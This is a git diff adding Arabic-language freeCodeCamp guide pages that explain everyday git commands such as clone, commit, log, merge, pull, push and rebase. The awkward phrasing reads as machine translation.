+إذا كان فرعك المحلي `master` يحتوي على ثلاث تعهدات لم تقم بدفعها إلى الخادم البعيد بعد ، فإن الحالة ستقول "الفرع الخاص بك متقدم على" الأصل / الرئيسي "بـ 3 مرات."
+
+### Git Clone Mirror
+
+إذا كنت ترغب في استضافة مرآة لمستودع ، فيمكنك استخدام معلمة mirror.
+
+ `git clone URL-OF-REPOSITORY --mirror 
+` 
+
+بعد إجراء نسخ متطابق لمستودع ، يمكنك استنساخ المرآة المحلية من الخادم الخاص بك.
+
+ `git clone NAME-OF-DIRECTORY-ON-COMPUTER 
+` 
+
+### معلومات اكثر:
+
+*   وثائق جيت: [استنساخ](https://git-scm.com/docs/git-clone)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-commit/index.md b/client/src/guide/arabic/git/git-commit/index.md
new file mode 100644
index 0000000000..38070d6256
--- /dev/null
+++ b/client/src/guide/arabic/git/git-commit/index.md
@@ -0,0 +1,98 @@
+---
+title: Git Commit
+localeTitle: جايت كومت
+---
+## جايت كومت
+
+سيحفظ أمر `git commit` جميع التغييرات المرحلية ، بالإضافة إلى وصف مختصر من المستخدم ، في "الالتزام" بالمستودع المحلي.
+
+الإلتزامات هي جوهر استخدام Git. يمكنك التفكير في الالتزام كقطعة لقطة لمشروعك ، حيث يتم إنشاء نسخة جديدة من هذا المشروع في المستودع الحالي. هناك ميزتان مهمتان للالتزامات هما:
+
+*   يمكنك تذكر التغييرات التي تم إجراؤها في وقت لاحق ، أو إعادة المشروع إلى هذا الإصدار ( [راجع Git checkout](https://guide.freecodecamp.org/git/git-checkout) )
+*   إذا قام عدة إلتزامات بتحرير أجزاء مختلفة من المشروع ، فلن يقوموا بالكتابة فوق بعضهم البعض حتى لو لم يكن مؤلفو الإلزام على دراية ببعضهم البعض. هذه إحدى مزايا استخدام أداة Git على أداة مثل Dropbox أو Google Drive.
+
+### خيارات
+
+هناك عدد من الخيارات التي يمكنك تضمينها مع `git commit` . ومع ذلك ، سيغطي هذا الدليل الخيارين الأكثر شيوعًا فقط. للحصول على قائمة واسعة من الخيارات ، يرجى الرجوع إلى [وثائق جيت](https://git-scm.com/docs/git-commit) .
+
+#### الخيار -m
+
+الخيار الأكثر شيوعًا المستخدم مع `git commit` هو الخيار `-m` . `-m` يقف للرسالة. عند استدعاء `git commit` ، يلزم تضمين رسالة. يجب أن تكون الرسالة وصفًا موجزًا ​​للتغييرات التي يتم إجراؤها. يجب أن تكون الرسالة في نهاية الأمر ويجب أن تكون ملفوفة في علامات اقتباس `" "` .
+
+مثال على كيفية استخدام الخيار `-m` :
+
+ `git commit -m "My message" 
+` 
+
+يجب أن يبدو الإخراج في المحطة الطرفية كالتالي:
+
+ `[master 13vc6b2] My message 
+ 1 file changed, 1 insertion(+) 
+` 
+
+**ملاحظة:** إذا لم يتم تضمين `-m` مع الأمر `git commit` ، فستتم مطالبتك بإضافة رسالة في محرر النص الافتراضي - راجع "استخدام رسائل الالتزام التفصيلية" أدناه.
+
+#### الخيار -A
+
+خيار آخر شائع هو الخيار `-a` . `-a` تقف للجميع. يقوم هذا الخيار تلقائيًا بتجهيز جميع الملفات المعدلة. إذا تمت إضافة ملفات جديدة ، فإن الخيار `-a` لن يعرض هذه الملفات الجديدة. لن يتم الالتزام إلا بالملفات التي يعرفها مستودع Git.
+
+فمثلا:
+
+لنفترض أن لديك ملف `README.md` تم الالتزام به بالفعل `README.md` . إذا قمت بإجراء تغييرات على هذا الملف ، يمكنك استخدام الخيار `-a` في أمر الالتزام الخاص بك للمرحلة وإضافة التغييرات إلى المستودع الخاص بك. ومع ذلك ، ماذا لو قمت أيضًا بإضافة ملف جديد يسمى `index.html` ؟ لن يؤدي الخيار `-a` إلى وضع `index.html` لأنه غير موجود حاليًا في المستودع. عند إضافة ملفات جديدة ، ينبغي استدعاء أمر `git add` من أجل تنظيم الملفات قبل التمكن من الالتزام بالمستودع.
+
+مثال على كيفية استخدام الخيار `-a` :
+
+ `git commit -am “My new changes” 
+` 
+
+يجب أن يبدو الإخراج في المحطة الطرفية كالتالي:
+
+ `[master 22gc8v1] My new message 
+ 1 file changed, 1 insertion(+) 
+` 
+
+### استخدام رسائل الالتزام التفصيلية
+
+على الرغم من أن `git commit -m "commit message"` جيد ، إلا أنه من المفيد تقديم معلومات أكثر تفصيلاً وخصوصية.
+
+إذا ارتكبت دون استخدام الخيار `-m` ، فسيقوم git بفتح محرر النص الافتراضي الخاص بك بملف جديد ، والذي سيتضمن قائمة معلّقة بالتعليقات عن جميع الملفات / التغييرات التي تم إعدادها في الالتزام. ثم تكتب رسالة التفصيل الخاصة بك (سيتم التعامل مع السطر الأول على أنه سطر الموضوع) وسيتم تنفيذ الالتزام عند حفظ / إغلاق الملف.
+
+يأخذ بنظر الأعتبار:
+
+*   حافظ على طول خطوط الرسائل التزام أقل من 72 charcters كممارسة قياسية
+*   لا بأس - بل وأوصى - بكتابة رسائل التزام متعددة
+*   يمكنك أيضًا الرجوع إلى مشكلات أخرى أو سحب الطلبات في رسالة الالتزام. قام GitHub بتخصيص مرجع رقم لكافة طلبات السحب والمشكلات ، لذلك على سبيل المثال إذا كنت تريد الإشارة إلى طلب السحب # 788 ببساطة قم بذلك في سطر الموضوع أو في النص الأساسي بالشكل المناسب
+
+#### الخيار --amend
+
+يتيح لك خيار `--amend` تغيير `--amend` الأخير. لنفترض أنك ارتكبت للتو وأنك ارتكبت خطأ في رسالة سجل الالتزام. يمكنك تعديل أحدث الالتزام باستخدام الأمر:
+
+ `git commit --amend -m "an updated commit message" 
+` 
+
+إذا نسيت تضمين ملف في الالتزام:
+
+ `git add FORGOTTEN-FILE-NAME 
+ git commit --amend -m "an updated commit message" 
+ 
+ # If you don't need to change the commit message, use the --no-edit option 
+ git add FORGOTTEN-FILE-NAME 
+ git commit --amend --no-edit 
+` 
+
+تحدث الإلتزامات السابقة لأوانها طوال الوقت في سياق تطورك اليومي. من السهل نسيان تقديم ملف أو كيفية تنسيق رسالة الالتزام الخاصة بك بشكل صحيح. يعد علم `--amend` طريقة ملائمة لإصلاح هذه الأخطاء الصغيرة. سيحل هذا الأمر محل رسالة الالتزام القديمة مع الرسالة المحدثة المحددة في الأمر.
+
+تعتبر الإلتزامات المعدلة عبارة عن تعهدات جديدة تمامًا ، ولن تكون الالتزام السابق في فرعك الحالي. عند العمل مع الآخرين ، يجب أن تحاول تجنب تعديل الالتزامات إذا تم دفع الالتزام الأخير بالفعل في المستودع.
+
+باستخدام `--amend` ، أحد `--amend` المفيدة التي يمكنك استخدامها هو `--author` والذي يمكنك من تغيير مؤلف آخر التزام قمت به. تخيل موقفًا لم تقم بإعداد اسمك أو بريدك الإلكتروني بشكل صحيح في تكوينات git ولكنك ارتكبت بالفعل التزامًا. مع العلم `--author` يمكنك ببساطة تغييرها دون إعادة التعيين الأخير.
+
+ `git commit --amend --author="John Doe <johndoe@email.com>" 
+` 
+
+#### الخيار -v أو --verbose
+
+يتم استخدام الخيار `-v` أو `--verbose` دون الخيار `-m` . يمكن أن يكون الخيار `-v` مفيدًا عندما ترغب في تعديل رسالة التزام Git في المحرر الافتراضي الخاص بك بينما تكون قادرًا على رؤية التغييرات التي قمت بها للالتزام. يفتح الأمر محرر النص الافتراضي الخاص بك مع قالب رسالة التزام _بالإضافة إلى_ نسخة من التغييرات التي قمت بها لهذا الالتزام. لن يتم تضمين التغييرات أو الاختلافات في رسالة الالتزام ، ولكنها توفر طريقة لطيفة للإشارة إلى التغييرات الخاصة بك عندما تقوم بوصفهم في رسالة الالتزام الخاصة بك.
+
+### معلومات اكثر:
+
+*   وثائق جيت: [ارتكاب](https://git-scm.com/docs/git-commit)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-fetch/index.md b/client/src/guide/arabic/git/git-fetch/index.md
new file mode 100644
index 0000000000..3f9bbbc032
--- /dev/null
+++ b/client/src/guide/arabic/git/git-fetch/index.md
@@ -0,0 +1,7 @@
+---
+title: Git Fetch
+localeTitle: جيت الجلب
+---
+## جيت الجلب
+
+Git- `git fetch` git-fetch - قم بتنزيل كائنات ومراجع من مستودع آخر
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-hooks/index.md b/client/src/guide/arabic/git/git-hooks/index.md
new file mode 100644
index 0000000000..4c51e32bf0
--- /dev/null
+++ b/client/src/guide/arabic/git/git-hooks/index.md
@@ -0,0 +1,17 @@
+---
+title: Git Hooks
+localeTitle: جيت هوكس
+---
+## جيت هوكس
+
+Git Hooks هي مخطوطات موجودة في `.git/hooks/` دليل مستودع git. تعمل هذه البرامج النصية بعد تشغيلها بمراحل مختلفة في عملية التحكم في الإصدار.
+
+### عينات
+
+في هذا الدليل ، هناك عدد قليل من نماذج البرامج النصية ، مثل `pre-commit.sample` . يعمل هذا النموذج بعينه في كل مرة يقوم فيها المستخدم بتشغيل عملية `git commit` . إذا كان البرنامج النصي hook إنهاء مع حالة أخرى غير 0 ، ثم يتوقف الالتزام.
+
+### كابل بيانات
+
+*   [وثائق ل Git Hooks](https://git-scm.com/docs/githooks)
+*   [دروس أتلاسيان على جيت هوكس](https://www.atlassian.com/git/tutorials/git-hooks)
+*   [دليل Git Hooks](http://githooks.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-hosting/index.md b/client/src/guide/arabic/git/git-hosting/index.md
new file mode 100644
index 0000000000..287e074db1
--- /dev/null
+++ b/client/src/guide/arabic/git/git-hosting/index.md
@@ -0,0 +1,11 @@
+---
+title: Git hosting
+localeTitle: استضافة Git
+---
+## استضافة Git
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/git/git-hosting/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-log/index.md b/client/src/guide/arabic/git/git-log/index.md
new file mode 100644
index 0000000000..f9d65fddc4
--- /dev/null
+++ b/client/src/guide/arabic/git/git-log/index.md
@@ -0,0 +1,124 @@
+---
+title: Git Log
+localeTitle: سجل جيت
+---
+## سجل جيت
+
+يعرض الأمر `git log` جميع الإلتزامات في سجل مستودع التخزين.
+
+بشكل افتراضي ، يعرض الأمر كل التزام:
+
+*   خوارزمية التجزئة الآمنة (SHA)
+*   مؤلف
+*   تاريخ
+*   ارتكاب الرسالة
+
+### تصفح بوابة جيت
+
+يستخدم Git جهاز النداء الصغير أقل للصفحة خلال سجل الالتزام. يمكنك التنقل باستخدام الأوامر التالية:
+
+*   للتمرير لأسفل بواسطة سطر واحد ، استخدم j أو ↓
+*   للتمرير لأعلى باستخدام سطر واحد ، استخدم k أو ↑
+*   بالتمرير لأسفل من صفحة واحدة ، استخدم مفتاح المسافة أو الزر Page Down
+*   للتمرير لأعلى صفحة واحدة ، استخدم b أو الزر Page Up
+*   لإنهاء السجل ، استخدم q
+
+### git سجل الأعلام
+
+يمكنك تخصيص المعلومات التي يقدمها `git log` باستخدام الأعلام.
+
+#### \--خط واحد
+
+`git log --oneline`
+
+`--oneline` العلامة - - `--oneline` ظهور `git log`
+
+*   ارتكبت واحد في كل سطر
+*   أول سبعة أحرف من SHA
+*   رسالة الالتزام
+
+#### \--stat
+
+`git log --stat`
+
+`--stat` علامة `--stat` ظهور `git log`
+
+*   الملفات التي تم تعديلها في كل التزام
+*   عدد الخطوط المضافة أو إزالتها
+*   خط ملخص مع العدد الإجمالي للملفات والخطوط التي تم تغييرها
+
+#### \- نقطة أو -p
+
+`git log --patch`
+
+أو ، الإصدار الأقصر
+
+`git log -p`
+
+يؤدي علامة `--patch` إلى إظهار `git log`
+
+*   الملفات التي قمت بتعديلها
+*   موقع الخطوط التي أضفتها أو أزلتها
+*   التغييرات المحددة التي قمت بها
+
+### عرض العدد المحدد من الالتزام حسب المؤلف
+
+لعرض عدد معين من الإلتزامات من قِبل مؤلف إلى repo الحالي (اختياريًا بتنسيق prettified) ، يمكن استخدام الأمر التالي
+
+`git log --pretty=format:"%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset" -n {NUMBER_OF_COMMITS} --author="{AUTHOR_NAME}" --all`
+
+#### تبدأ في التزام معين
+
+لبدء `git log` في التزام معين ، أضف SHA:
+
+`git log 7752b22`
+
+سيعرض هذا الالتزام بـ SHA 7752b22 وجميع الإلتزامات التي تم إجراؤها قبل الالتزام. يمكنك دمج هذا مع أي من العلامات الأخرى.
+
+#### \--رسم بياني
+
+`git log --graph`
+
+تمكّنك العلامة - `--graph` من عرض `git log` `--graph` . لجعل الأشياء مثيرة للاهتمام ، يمكنك دمج هذا الأمر مع خيار `--oneline` الذي تعلمته من الأعلى.
+
+`git log --graph --oneline`
+
+سيكون الناتج مشابهًا ،
+
+ `* 64e6db0 Update index.md 
+ * b592012 Update Python articles (#5030) 
+ * ecbf9d3 Add latest version and remove duplicate link (#8860) 
+ * 7e3934b Add hint for Compose React Components (#8705) 
+ * 99b7758 Added more frameworks (#8842) 
+ * c4e6a84 Add hint for "Create a Component with Composition" (#8704) 
+ *   907b004 Merge branch 'master' of github.com:freeCodeCamp/guide 
+ |\ 
+ | * 275b6d1 Update index.md 
+ * |   cb74308 Merge branch 'dogb3rt-patch-3' 
+ |\ \ 
+ | |/ 
+ |/| 
+ | *   98015b6 fix merge conflicts after folder renaming 
+ | |\ 
+ |/ / 
+ | * fa83460 Update index.md 
+ * | 6afb3b5 rename illegally formatted folder name (#8762) 
+ * | 64b1fe4 CSS3: border-radius property (#8803) 
+` 
+
+تتمثل إحدى فوائد استخدام هذا الأمر في أنه يمكنك من الحصول على نظرة عامة حول كيفية دمج عمليات الدم وكيفية إنشاء سجل git.
+
+هناك خيارات أخرى يمكنك استخدامها بالاشتراك مع - `--graph` . زوجين منهم - `--decorate` `--all` . تأكد من تجربة ذلك أيضًا. وتشير إلى [التوثيق](https://git-scm.com/docs/git-log) للحصول على معلومات أكثر فائدة.
+
+#### معلومات اكثر:
+
+*   [أساسيات Git - عرض محفوظات الالتزام](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History)
+*   [سجل جيت](https://git-scm.com/docs/git-log)
+
+##### موارد أخرى على بوابة Git في guide.freecodecamp.org
+
+*   [جيت ميرج](../git-merge/index.md)
+*   [بوابة الخروج](../git-checkout/index.md)
+*   [جايت كومت](../git-commit/index.md)
+*   [جيت ستاش](../git-stash/index.md)
+*   [بوابة فرع](../git-branch/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-merge/index.md b/client/src/guide/arabic/git/git-merge/index.md
new file mode 100644
index 0000000000..05683568e4
--- /dev/null
+++ b/client/src/guide/arabic/git/git-merge/index.md
@@ -0,0 +1,56 @@
+---
+title: Git Merge
+localeTitle: جيت ميرج
+---
+## جيت ميرج
+
+على `git merge` والقيادة دمج أي التغييرات التي تم إجراؤها على قانون الأساس على فرع مستقل لفرع الحالي.
+
+بناء جملة الأمر كما يلي:
+
+ `git merge BRANCH-NAME 
+` 
+
+على سبيل المثال ، إذا كنت تعمل حاليًا في فرع باسم `dev` وترغب في دمج أي تغييرات جديدة تم إجراؤها في فرع باسم `new-features` ، فستقوم بإصدار الأمر التالي:
+
+ `git merge new-features 
+` 
+
+**يرجى ملاحظة:** إذا كانت هناك أي تغييرات غير ملزمة على فرعك الحالي ، فلن تسمح لك Git بالدمج حتى يتم الالتزام بكافة التغييرات في الفرع الحالي. للتعامل مع هذه التغييرات ، يمكنك إما:
+
+*   إنشاء فرع جديد وإلزام التغييرات
+
+ `git checkout -b new-branch-name 
+ git add . 
+ git commit -m "<your commit message>" 
+` 
+
+*   خبأهم
+
+ `git stash               # add them to the stash 
+ git merge new-features  # do your merge 
+ git stash pop           # get the changes back into your working tree 
+` 
+
+*   التخلي عن كل شيء
+
+ `git reset --hard        # removes all pending changes 
+` 
+
+## دمج الصراع
+
+تعارض الدمج عند إجراء عمليات الالتزام على الفروع المنفصلة التي تبدل نفس السطر بطرق متعارضة. لذلك لن تعرف جيت أي نسخة من الملف تحتفظ به
+
+مما أدى إلى رسالة الخطأ:
+
+الصراع (المحتوى): دمج الصراع في resumé.t.t فشل دمج تلقائي؛ إصلاح النزاعات ثم ارتكاب النتيجة.
+
+في محرر التعليمة البرمجية ، يستخدم Git علامات للإشارة إلى إصدار HEAD (الرئيسي) من الملف والإصدار الآخر من الملف.
+
+`<<<<<<< HEAD`
+
+`>>>>>>> OTHER`
+
+من محرر التعليمة البرمجية delete / update لحل التعارض وإزالة العلامات الخاصة بما في ذلك HEAD وأسماء ملفات أخرى ، أعد تحميل ملفك ، ثم أعد إضافة التغييرات وأعد تجديدها.
+
+لمزيد من المعلومات حول الأمر `git merge` وكافة الخيارات المتاحة ، يرجى الرجوع إلى [وثائق Git](https://git-scm.com/docs/git-merge) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-pull/index.md b/client/src/guide/arabic/git/git-pull/index.md
new file mode 100644
index 0000000000..1521b2a59e
--- /dev/null
+++ b/client/src/guide/arabic/git/git-pull/index.md
@@ -0,0 +1,122 @@
+---
+title: Git Pull
+localeTitle: بوابة سحب
+---
+## بوابة سحب
+
+`git pull` هو أمر Git يستخدم لتحديث الإصدار المحلي لمستودع من جهاز تحكم عن بعد.
+
+وهو واحد من الأوامر الأربعة التي تحفز التفاعل الشبكي من Git. بشكل افتراضي ، `git pull` يفعل شيئين.
+
+1.  تحديث فرع العمل المحلي الحالي (الفرع المعتمد حاليا)
+2.  تحديثات فروع التتبع عن بعد لجميع الفروع الأخرى.
+
+`git pull` جلب الجيت ( `git fetch` ) تلتزم الجديدة [`git merge` ( `git merge` )](https://guide.freecodecamp.org/git/git-merge) هذه في الفرع المحلي.
+
+بناء جملة هذا الأمر هو كما يلي:
+
+ `# General format 
+ git pull OPTIONS REPOSITORY REFSPEC 
+ 
+ # Pull from specific branch 
+ git pull REMOTE-NAME BRANCH-NAME 
+` 
+
+بحيث:
+
+*   **الخيارات** هي خيارات الأوامر ، مثل `--quiet` أو `--verbose` . يمكنك قراءة المزيد عن الخيارات المختلفة في [وثائق Git](https://git-scm.com/docs/git-pull)
+*   **REPOSITORY** هو عنوان URL الخاص بك. مثال: https://github.com/freeCodeCamp/freeCodeCamp.git
+*   تحدد **REFSPEC** أي من **الحزم** الذي **سيتم جلبه والحلول** المحلية المراد تحديثها
+*   **REMOTE-NAME** هو اسم مستودع التخزين عن بعد. على سبيل المثال: _الأصل_ .
+*   **BRANCH-NAME** هو اسم الفرع الخاص بك. على سبيل المثال: _تطوير_ .
+
+**ملحوظة**
+
+إذا كان لديك تغييرات غير ملتزم بها ، فسوف تفشل عملية دمج الأمر `git pull` وسيتم إلغاء الفرع المحلي الخاص بك.
+
+وبالتالي ، يجب عليك _دائمًا الالتزام بتعديلاتك في فرع قبل سحب_ طلبات جديدة من مستودع بعيد.
+
+**جدول المحتويات**
+
+*   [باستخدام `git pull`](#using-git-pull)
+*   [تحكم الإصدار الموزع](#distributed-version-control)
+*   [`git fetch` + `git merge`](#git-fetch-plus-git-merge)
+*   [`git pull` في IDEs](#git-pull-in-IDEs)
+
+### باستخدام سحب بوابة
+
+استخدم `git pull` لتحديث مستودع محلي من مستودع بعيد عن بعد. على سبيل المثال: أثناء العمل محليًا على الصفحة `master` ، يمكنك تنفيذ `git pull` لتحديث النسخة المحلية من `master` وتحديث فروع التتبع عن بُعد الأخرى. (مزيد من المعلومات حول فروع التتبع عن بُعد في القسم التالي.)
+
+ولكن هناك بعض الأمور التي يجب تذكرها في هذا المثال:
+
+*   يحتوي المستودع المحلي على مستودع تخزين بعيد مرتبط
+*   تحقق هذا عن طريق تنفيذ `git remote -v`
+*   إذا كان هناك أجهزة `git pull` عن بعد متعددة ، فقد لا يكون `git pull` معلومات كافية. قد تحتاج إلى إدخال `git pull origin` أو `git pull upstream` .
+*   يحتوي الفرع الذي تم سحبه حاليًا على فرع تتبع عن بعد
+*   تحقق من هذا عن طريق تنفيذ `git status` . إذا لم يكن هناك فرع تتبع عن بعد ، لا يعرف Git مكان سحب المعلومات _منه_ .
+
+### تحكم الإصدار الموزع
+
+Git هو **نظام التحكم في إصدار الموزعة** (DVCS). مع DVCS ، يمكن للمطورين العمل على نفس الملف في نفس الوقت في بيئات منفصلة. بعد _دفع_ الكود إلى مستودع بعيد مشترك ، يمكن للمطورين الآخرين _سحب_ التعليمات البرمجية التي تم تغييرها.
+
+#### تفاعلات الشبكة في Git
+
+لا يوجد سوى أربعة أوامر تطالب بتفاعلات الشبكة في Git. لا يوجد لدى المستودع المحلي أي وعي بالتغييرات التي تم إجراؤها على المستودع البعيد حتى يكون هناك طلب للحصول على معلومات. والمستودع عن بعد ليس لديه وعي بالتغييرات المحلية حتى يتم دفع الإلتزامات.
+
+أوامر الشبكة الأربعة هي:
+
+*   `git clone`
+*   `git fetch`
+*   `git pull`
+*   `git push`
+
+#### الفروع في DVCS
+
+عند العمل مع Git ، يمكن أن تشعر أن هناك الكثير من نسخ الشفرة نفسها التي تطفو في كل مكان. هناك إصدارات مختلفة من نفس الملف على كل فرع. ونسخ مختلفة من نفس الفروع على كل كمبيوتر المطور وعلى جهاز التحكم عن بعد. لتتبع هذا ، يستخدم Git شيئًا يسمى **فروع التتبع عن بُعد** .
+
+إذا قمت بتنفيذ `git branch --all` داخل مستودع Git ، تظهر فروع التتبع عن بعد باللون الأحمر. هذه هي نسخ للقراءة فقط من التعليمات البرمجية كما تظهر على جهاز التحكم عن بعد. (متى كان آخر تفاعل على الشبكة قد جلب المعلومات محليًا؟ تذكر متى تم تحديث هذه المعلومات آخر مرة. تعكس المعلومات الواردة في فروع التتبع عن بعد المعلومات من هذا التفاعل).
+
+مع **فروع التتبع عن بعد** ، يمكنك العمل في Git على عدة فروع بدون تدخل الشبكة. في كل مرة تنفذ فيها أوامر `git pull` أو `git fetch` ، يمكنك تحديث **فروع التتبع عن بُعد** .
+
+### git fetch plus git merge
+
+`git pull` هو أمر `git fetch` ، يساوي `git fetch` + `git merge` .
+
+#### جلبه
+
+من تلقاء نفسه ، `git fetch` التحديثات جميع فروع التتبع عن بعد في المستودع المحلي. لا تنعكس أي تغييرات في الواقع على أي من فروع العمل المحلية.
+
+#### اندماج
+
+وبدون أي حجج ، سيقوم `git merge` فرع التتبع عن بعد المقابل إلى فرع العمل المحلي.
+
+#### سحب بوابة
+
+`git fetch` تحديثات عن بعد فروع الفروع. `git merge` بتحديث الفرع الحالي بفرع التتبع البعيد المطابق. باستخدام `git pull` ، ستحصل على كلا جزئي هذه التحديثات. ولكن ، هذا يعني أنه إذا تم سحبك `feature` الفرع وقمت بتنفيذ `git pull` ، عند إجراء السحب `master` ، لن يتم تضمين أية تحديثات جديدة. عندما تقوم بالسداد إلى فرع آخر قد يكون لديه تغييرات جديدة ، فمن الأفضل دائمًا تنفيذ `git pull` .
+
+### سحب بوابة في IDEs
+
+قد لا تتضمن اللغة الشائعة في IDES الأخرى الكلمة `pull` . إذا نظرت إلى كلمات `git pull` ولكن لا تراها ، فابحث عن كلمة `sync` بدلاً من ذلك.
+
+### fethcing PR البعيد (سحب الطلب) في الريبو المحلي
+
+ولأغراض المراجعة ، يجب جلب المستفيدين الرئيسيين في المناطق النائية إلى الريبو المحلي. يمكنك استخدام أمر `git fetch` النحو التالي لتحقيق ذلك.
+
+`git fetch origin pull/ID/head:BRANCHNAME`
+
+المعرف هو معرف طلب السحب و BRANCHNAME هو اسم الفرع الذي تريد إنشاءه. بمجرد إنشاء الفرع ، يمكنك استخدام `git checkout` للتبديل إلى هذه الفرشاة.
+
+### موارد أخرى على سحب جيت
+
+*   [GIT-المجلس الأعلى للقضاء](https://git-scm.com/docs/git-pull)
+*   [جيثب مساعدة مستندات](https://help.github.com/articles/fetching-a-remote/#pull)
+*   [جيثب عند الطلب التدريب](https://services.github.com/on-demand/intro-to-github/create-pull-request)
+*   [مزامنة البرامج التعليمية](https://www.atlassian.com/git/tutorials/syncing)
+
+### موارد أخرى على بوابة في guide.freecodecamp.org
+
+*   [اندماج Git](../git-merge/index.md)
+*   [بوابة الخروج](../git-checkout/index.md)
+*   [ارتكاب بوابة](../git-commit/index.md)
+*   [خبأ جيت](../git-stash/index.md)
+*   [فرع جيت](../git-branch/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-push/index.md b/client/src/guide/arabic/git/git-push/index.md
new file mode 100644
index 0000000000..60d1a50ff9
--- /dev/null
+++ b/client/src/guide/arabic/git/git-push/index.md
@@ -0,0 +1,71 @@
+---
+title: Git Push
+localeTitle: Git Push
+---
+## Git Push
+
+يسمح لك الأمر `git push` بإرسال (أو _دفع_ ) الإلتزامات من الفرع المحلي في مستودع Git المحلي إلى المستودع البعيد.
+
+حتى تتمكن من الدفع إلى مستودع التخزين عن بعد ، يجب عليك التأكد من أن **جميع التغييرات التي أجريتها على المستودع المحلي ملتزمة** .
+
+بناء جملة هذا الأمر هو كما يلي:
+
+ `git push <repo name> <branch name> 
+` 
+
+هناك عدد من الخيارات المختلفة التي يمكنك تمريرها باستخدام الأمر ، يمكنك معرفة المزيد عنها في [وثائق Git](https://git-scm.com/docs/git-push#_options_a_id_options_a) أو تشغيل `git push --help` .
+
+### ادفع إلى مستودع ومستودع بعيد
+
+لدفع الرمز ، يجب عليك أولاً استنساخ مستودع إلى جهازك المحلي.
+
+ ``# Once a repo is cloned, you'll be working inside of the default branch (the default is `master`) 
+ git clone https://github.com/<git-user>/<repo-name> && cd <repo-name> 
+ # make changes and stage your files (repeat the `git add` command for each file, or use `git add .` to stage all) 
+ git add <filename> 
+ # now commit your code 
+ git commit -m "added some changes to my repo!" 
+ # push changes in `master` branch to github 
+ git push origin master 
+`` 
+
+لمعرفة المزيد عن الفروع ، تحقق من الروابط أدناه:
+
+*   [بوابة الخروج](https://github.com/renington/guides/blob/master/src/pages/git/git-checkout/index.md)
+*   [فرع بوابة](https://github.com/renington/guides/blob/master/src/pages/git/git-branch/index.md)
+
+### ادفع إلى مستودع بعيد عن بعد وكل الفروع فيه
+
+إذا كنت ترغب في دفع جميع التغييرات الخاصة بك إلى مستودع بعيد وجميع الفروع في ذلك ، يمكنك استخدام:
+
+ `git push --all <REMOTE-NAME> 
+` 
+
+بحيث:
+
+*   `--all` العلم الذي يشير إلى أنك تريد دفع جميع الفروع إلى مستودع بعيد
+*   `REMOTE-NAME` هو اسم مستودع التخزين عن بعد الذي تريد الضغط عليه
+
+### ادفع إلى فرع معين باستخدام معلمة القوة
+
+إذا كنت ترغب في تجاهل التغييرات المحلية التي تم إجراؤها على مستودع Git في Github (الذي يفعله معظم المطورين للحصول على إصلاح سريع لخادم التطوير) ، يمكنك استخدام الأمر -force للدفع عن طريق تجاهل تلك التغييرات.
+
+ `git push --force <REMOTE-NAME> <BRANCH-NAME> 
+` 
+
+بحيث:
+
+*   `REMOTE-NAME` هو اسم مستودع التخزين عن بعد الذي تريد دفع التغييرات إليه
+*   `BRANCH-NAME` هو اسم الفرع البعيد الذي تريد دفع تغييراتك إليه
+
+### دفع تجاهل هوك Git قبل الضغط
+
+افتراضيا ستطلق `git push` مفتاح `--verify` . وهذا يعني أن بوابة git ستنفذ أي برنامج نصي مسبق الدفع من جانب العميل قد يكون تم تكوينه. إذا فشلت النصوص التمهيدية ، فستدفع البوابة. (الخطافات مسبقة الدفع هي جيدة للقيام بأشياء مثل ، والتحقق مما إذا كانت رسائل الالتزام تؤكد معايير الشركة ، أو تشغيل اختبارات الوحدة ، الخ ...). قد ترغب أحيانًا في تجاهل هذا السلوك الافتراضي ، على سبيل المثال في السيناريو الذي ترغب فيه في دفع تغييراتك إلى فرع ميزة لمساهم آخر لسحبه ، ولكن تغييرات عملك في التقدم تخترق اختبارات الوحدة. لتجاهل الخطاف ، ما عليك سوى إدخال أمر الدفع وإضافة العلامة `--no-verify`
+
+ `git push --no-verify 
+` 
+
+### معلومات اكثر:
+
+*   [وثائق جيت - دفع](https://git-scm.com/docs/git-push)
+*   [git hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-rebase/index.md b/client/src/guide/arabic/git/git-rebase/index.md
new file mode 100644
index 0000000000..fc8a84c423
--- /dev/null
+++ b/client/src/guide/arabic/git/git-rebase/index.md
@@ -0,0 +1,76 @@
+---
+title: Git Rebase
+localeTitle: الذهاب Rebase
+---
+## جيت ريباس
+
+إعادة بناء فرع في Git هي طريقة لنقل كامل فرع إلى نقطة أخرى في الشجرة. أبسط مثال هو نقل فرع أبعد في الشجرة. لنفترض أن لدينا فرعًا يختلف عن الفرع الرئيسي عند النقطة A:
+
+ `        /o-----o---o--o-----o--------- branch 
+ --oo--A--o---o---o---o----o--ooo--- master 
+` 
+
+عندما تتمرد ، يمكنك تحريكه على النحو التالي:
+
+ `                                   /o-----o---o--o-----o------ branch 
+ --oo--A--o---o---o---o----o--ooo master 
+` 
+
+للمراجعة ، تأكد من حصولك على جميع الإلتزامات التي تريدها في rebase في فرعك الرئيسي. تحقق من الفرع الذي ترغب في إعادة توجيهه واكتب `git rebase master` (حيث الرئيسي هو الفرع الذي ترغب في إعادة تعيينه).
+
+من الممكن أيضًا إعادة التمرير على فرع مختلف ، بحيث يتم إعادة سحب فرع كان يستند إلى فرع آخر (دعنا نسميه ميزة) على العنوان الرئيسي:
+
+ `                            /---oo branch 
+           /---oooo---o--o------ feature 
+ ----o--ooA----o---o--ooo--o--o- master 
+` 
+
+بعد الحصول على `git rebase master branch` أو `git rebase master` عندما تقوم بسحب الفرع ، ستحصل على:
+
+ `           /---oooo---o--o------ feature 
+ ----o--ooA----o---o--ooo--o--o- master 
